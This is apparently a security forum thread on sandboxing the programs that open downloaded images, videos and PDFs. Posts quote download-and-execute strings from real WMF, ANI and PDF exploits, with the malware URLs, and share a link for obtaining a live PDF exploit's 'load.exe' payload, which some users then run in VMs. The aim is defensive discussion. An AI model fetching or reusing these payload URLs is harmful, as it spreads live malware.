Take care when running some file types with "double click"

Okay, since there has been all sorts of discussion about non-executable file types causing infection, I've since got into the habit of running every new file I recover out of my sandboxed applications sandboxed (untrusted). This includes seemingly harmless .txt files, .jpg files etc etc.

I've now tested this technique with Sandboxie, DefenseWall, and GeSWall.

Interestingly, all 3 programs have problems when it comes to opening certain file types.

Let me illustrate with an example:
1. I open my Firefox browser sandboxed (Sandboxie) or untrusted (DefenseWall) or isolated (GeSWall)
2. I download a .jpg file and recover it on to my real system
3. I open the .jpg file (with double click)
4. If Windows Picture and Fax Viewer is my default picture viewer, it will open un-sandboxed or trusted or un-isolated, leaving me vulnerable to attacks.
5. In other words, don't open newly introduced files with "double-click". Use the right-click option and run it sandboxed or untrusted or isolated.

Another example:
1. I open my Firefox browser sandboxed (Sandboxie) or untrusted (DefenseWall) or isolated (GeSWall)
2. I download a .avi file and recover it on to my real system
3. I open the .avi file (with double click)
4. If Windows Media Player is my default video player, it will open un-sandboxed or trusted or un-isolated, leaving me vulnerable to attacks.
5. In other words, don't open newly introduced files with "double-click" etc etc.

I'm sure there are many other examples, and all seem to relate to the built-in Windows programs like Windows Picture and Fax Viewer, and Windows Media Player.

I hope people can follow this. Please feel free to comment on this.

I solve the above problems by either using the right click option as stated above, or simply running a sandboxed windows explorer to open any newly introduced files. Another way to solve these issues are to find 3rd party replacements to run as default, instead of the Windows programs. For example, use another picture viewer to open .jpg files by default. Or use another video player to open .avi files by default. This way, all 3 programs should be able to catch the 3rd party application process and run it sandboxed/untrusted/isolated.

EDIT:
Another way to solve the second example above is to specifically configure Sandboxie/DefenseWall/GeSWall to run your default video player sandboxed or untrusted (DefenseWall runs wmplayer.exe as untrusted by default) or isolated.

 

hmm looks like ill be sandboxing my media player and windows picture viewer

 

WHAT, thats pretty ~Snip~, hope this functionality is added in a future release, and im wondering why this wasnt available from the start...

 

You're definitely correct with needing to sandbox the opening of downloaded files. As for the picture viewer, you may want to see if it is possible to sandbox dllhost.exe or rundll32.exe (depending on your OS).

You'll also want to consider sandboxing Adobe Reader/Foxit Reader, Microsoft Office applications, audio/video players, and really any other program which handles complex file types - they almost all have vulnerabilities

 

its not hard, its just with such a common file i wuld probly forget before opening it out of pure habit.

i never feel comfortable sandboxing critical system files but ill go with ur advice on the apps, ive already got adobe reader sandboxed but not MS Office or my Video players, althought im not gunna sandbox my itunes since its gunna become a HUGGEE pain in the ass if i do...

 

and, why not running it *.jpg, *.avi etc. directly from browser ... just pick "open" on file download window from IE or open with... on FF from download window... every player, viewer which is running directly from browser will inherit sandboxed environment from browser or any other sandboxed application which started it ...
things which are unsafe in unsandboxed world are in fact safe and recommended in sandboxed environments...

 

The risk is far, far higher than "0.000001%" but if you keep updated with the newest patches and keep an ear open to new reports, that can greatly lessen the risk.

One note to keep in mind is that these exploits generally download and execute other executable infections which are easier to then sandbox/intercept but you'll need to see how your sandbox behaves with it.

Indeed the picture/fax viewer is tightly integrated within Windows Explorer so it isn't as easy to isolate for a direct sandboxing but a better approach would be to disable/unregister previews of image files and other file types and then just open files when wanted in their respective programs within the sandbox.

 

Or why not enlist the security benefits of Virtualbox or similar virtual machine to isolate all of your files you worry about?

 

You could have a look at the pdf exploit below that if opened will or should download it's payload in being a "load.exe".

Sometimes only one payload is delivered to that ip so if you try for second payload download it mightn't come through.

Haven't had the payload auto-execute here as yet and don't know if it can.

Payload:

hxxp://wepawet.cs.ucsb.edu/view.php?hash=68aa4bf2cd610bbaba51ceb5121e8b47&type=js

 

huh...this is taking paranoia to its heights.Ssj you are missing the simple pleasure tinged with an element of risk of the virtual world.Click the mouse...turn the pc off and get the 100% security you so desire

 

Franklin, I tried the url on my Vbox setup but nothing happened download-wise. But on the web page there were two urls at the bottom of page. Trying both of them instantly gave me the option to download them. They will download but not launch, so they seem harmless at least in terms of launching unexpectedly. Of course anyone with common sense would not proceed to download/launch them. I don't use Adobe; rather I use Foxit Reader instead, so I don't know if this helps mitigate the exploit?

 

Wepawet is a site you can upload pdf exploits for an detailed report.

You have to go to the original site that downloads the actual pdf exploit.

I also tried to run the load.exe which according to Avira is fake av scan but seems to be sandbox/vm aware and won't fully deploy here in either.

 

Okay, I knew there seemed something harmless about it but couldn't put my finger on it

Those two urls at the bottom of the wepawet site certainly seemed to worked, or are they not the correct sites? I also tried to launch one of them within Sandboxie-within Vbox and Sandboxie blocked its Internet access attempt. Load.exe was running in Process Explorer, though, but I did not note anything odd occurring in the Sandbox, so maybe as you say it doesn't like the virtual environment. Interesting stuff all the same.

 

Yes they are the correct site for the payload download but you need the original live pdf exploit site to instigate an autodownload.

 

Okay, will try tomorrow evening. Thanks!

I did launch the load.exe within Sandboxie after I removed internet restrictions but blocked Vbox with Outpost and the file was generating SYN flags to a specific ip address, which Outpost blocked, as expected. No ACKs or connection established that I could see using Netstat -an.

 

I admit i don't understand.Aren't the.jpg files and .avi files untrusted?Why is important that the default media player or image viewer to be also untrusted?

 

I'm not reading all the posts in this thread because I have little time atm. So I don't know if any one else has already suggested this.

Quote

"Take care when running some file types with "double click""

Because You can't force Windows Picture and Fax Viewer to run in Sandboxie I use FastStone Image Viewer to open JPG's and force that to run in the Sandbox. And it is a way better picture viewer than windows one.

I also force Zoom Player to run in the sandbox when ever I open movie files.

So in conclusion problem is solved with opening files.

 

A simple 'set and forget' solution would be ( as Arran says)to install 3rd party picture and video viewers and have them always run sandboxed by default.There are many such free products that offer more functionality that the Windows defaults.XNView,VLC player to name but two.

 

The premise in the OP's suggestion is if the user has only a sandboxie type of protection. HIPs users will not be bothered much from this type of exploits or malware embedded files as they will be prompted if an unknown process will try to execute and Rmus has pointed out that any execution control protection will protect you from this type of vulnerabilities. Whether this be using arbitrary code execution or buffer overflows, etc, as always the end result will be to download and execute. Rmus is always in the search for anything otherwise being exploited in the wild. This is from what I gathered from the various similar threads. Thanks to Rmus, to the OP, to StevieO and to others with their viewpoints and suggestions on similar topics or threads. You are all heaven sent.

 

VLC player and other softwares have also their shares of vulnerabilities in the past and obviously they have released their patches. But whether window defaults or alternatives will always have undisclosed or would be discovered vulnerabilities as code complexities grew evermore. What would be the best will be a preventive measures as the old adage says, prevention is better than cure. Others will quick to remind the masses to always update. And that is not a bad advice but a vicious cycle of updates would ensue. Windchild and Rmus have pointed out that any anti-execution type of protections or default deny policy like the use of LUA-SRP, AE, OR HIPS will give you ample protections from those exploits or malwares taking advantage of those vulnerabilities.

But as you pointed out, using such alternatives could help one run those sandboxed. Unless of course you only rely on sandboxie type of protection, this will hold as a nice suggestion indeed.

btw: I'm still using an oldversion applications with published multiple vulnerabilities, but since I have adequate protection which is HIPS, I would not bother bloat my netbooks precious disk space.

 

the only reason i dont use a 3rd party image viewer is simply because i honestly dont need that extra functionality

 

Just to clarify when an image file such as a JPEG can be a true executable: In a long thread in 2005 at DSLR, the topic, "executable jpegs," was beat to death. It mostly discussed spoofed extensions (which cannot execute like an EXE) but there was this interesting sidelight. One person commented that a jpeg can't be a true executable because a jpeg doesn't have the appropriate header for an executable program. This response followed:

Nothing more was said about this, and I wondered: how such a file could be crafted maliciously; why it wasn't used in the wild; how would such an exploit work, that is, how would the file run; how would it get downloaded onto someone's computer; under what circumstances would a user be tricked into opening such a file; and what does "small" mean? How much executable code could be prepended?

I put these questions to several knowledgeable people and did not receive any satisfactory or convincing answers. From my viewpoint with people I was helping at that time, I concluded this was a NO-Threat.

Image and data files have not been used in exploits as true executables. Rather, just a means of triggering automatically -- by remote code execution -- a vulnerability in something in the Operating System, the browser, or in an application. Examples:

1) ANI (Animated Cursor) file from 2004. Buffer overflow used API (Application Programming Interface) calls to connect out to the internet to download malware. IE6 required.

2) WMF (Windows Meta) file from 2005. Same idea. One analyst refers to these as "download and execute" exploits.

Here is a description:

Shellcode analysis -- download n' exec
http://blog.threatfire.com/2007/12/shellcode-analysis-download-n-exec.html

The advisory for the exploit stated:

Vulnerability Summary for CVE-2005-4560
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-4560

We learned later that other image viewers also were vulnerable because they used that Windows DLL. Also, the file extension could be any image file

The code inside the WMF file had this string to download the trojan, ioo.exe:

Code:

[B]URLDownloadToFileA.[/B]http://unionseek.com/ioo.exe

You'll recognize the API call as described above.

The ANI exploit files used the same code. This one from late 2004:

Code:

[B]urlmon.dll-URLDownloadToFile-WinExec-[/B] 
HTTP://195.225.177.33/vx/win32.exe

3) PDF -- Still current. Again, these are not executable files. They depend on a vulnerability in the PDF Reader (Acrobat and Foxit being the most commonly targeted). They use the same Windows API call in a malformed PDF file, one being:

Code:

[B]URLMON.DLL.URLDownloadToFileA[/B]
http://hyperliteautoservices.cn/load.php ?id=5

You can see that they all do the same thing. And there are bound to be other filetypes exploited in the future.

And, of course, as has been demonstrated, these are easy to block at the gate and prevent from carrying out their payload

_____________________________________________________________________________​

As for the possbility for being infected by an image file as a true executable? Each person must come to her/his own conclusion, of course. I may be in the minority, but I don't worry about it.

----
rich

 

I will explain regarding geswall in XP.

1- When u open any image in windows image viewer, it,s actually opeed by explorer.exe and explorer.exe is treated as always trusted in geswall, so image will be opened as trsuted. It,s a security concern.

Solution: Install any 3rd party image viewer like XnView, IrfanView or FastStone ImageViewer as ur default image viewer and all untrusted imges will be opened as isolated.

The images u see in ur browser etc are already isolated.

2- Regarding any untrusted media file, I think if u run an untrsuted file by double click, ur media player will be launched as untrusted or there will be a pop up to ask aboutv it, so there is no problem.

3- So is the case with pdf viewers, Office docs, txt files etc. If file is untrusted, the application that will open it will be launched untrusted too.
However there might be some usability issues like while editing the office files etc.you need to try n be sure to avoid any loss of work.

4- BTW with geswall it,s a whole different story in windows 7. If a file, say a pdf documentm, is untrusted and I open it by double click, it wiull be opened by pdf reader as trsuted.

Solution: I added all my viewers like pdf reader, OpenOffice image viewer, media palyer etc as to run always isolated in geswall. If i need i can restart any application as trusted on the fly via G caption icon on the top right conner of window.


A word of caution: If u open ur documents in MS word as isolate( geswalled), edit them and then re-save them, make sure that ur Office program is able to save this editing while running inside geswall or u might losse ur precious time n work/ data. SAme is true while editing a pdf file, a txt file, an image etc etc while it is running inside geswall. You might need to add rules in GesWall to make it smooth n trouble free.

Lastly even if I open an untrusted file as trusted, I am not so afraid as any malicious document needs to execute a code to do its damage and an anti-executable HIPS( CFP in my case) will take care of it. This is my securitty set up: A SANDBOX + AN ANTI-EXECUTABLE HIPS

 

DefenseWall do support Windows Media Player as a "default untrusted".If you remove it from the list- it's your own risk.

 

As always thanks for clarifying.

This true executable file masquerading as an image file or a malware embedded in an innocous file other than those spawning a shellcode of the download and execute types will surely among its various steps will display a strange behaviour, which any HIPs can block.

Without any POC, this 'true' executable jpeg story is just FUD.